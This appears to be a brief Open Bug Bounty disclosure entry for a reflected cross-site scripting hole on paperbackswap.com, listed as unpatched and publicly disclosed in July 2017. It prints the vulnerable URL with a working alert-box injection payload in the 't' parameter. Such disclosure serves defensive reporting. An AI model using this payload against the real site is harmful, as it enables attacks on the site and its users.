paperbackswap.com XSS vulnerability

Vulnerable URL: http://www.paperbackswap.com/market/seeallfromcarousel.php?t="-alert'OPENBUGBOUNTY'-" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17852 VIP website status:| Yes...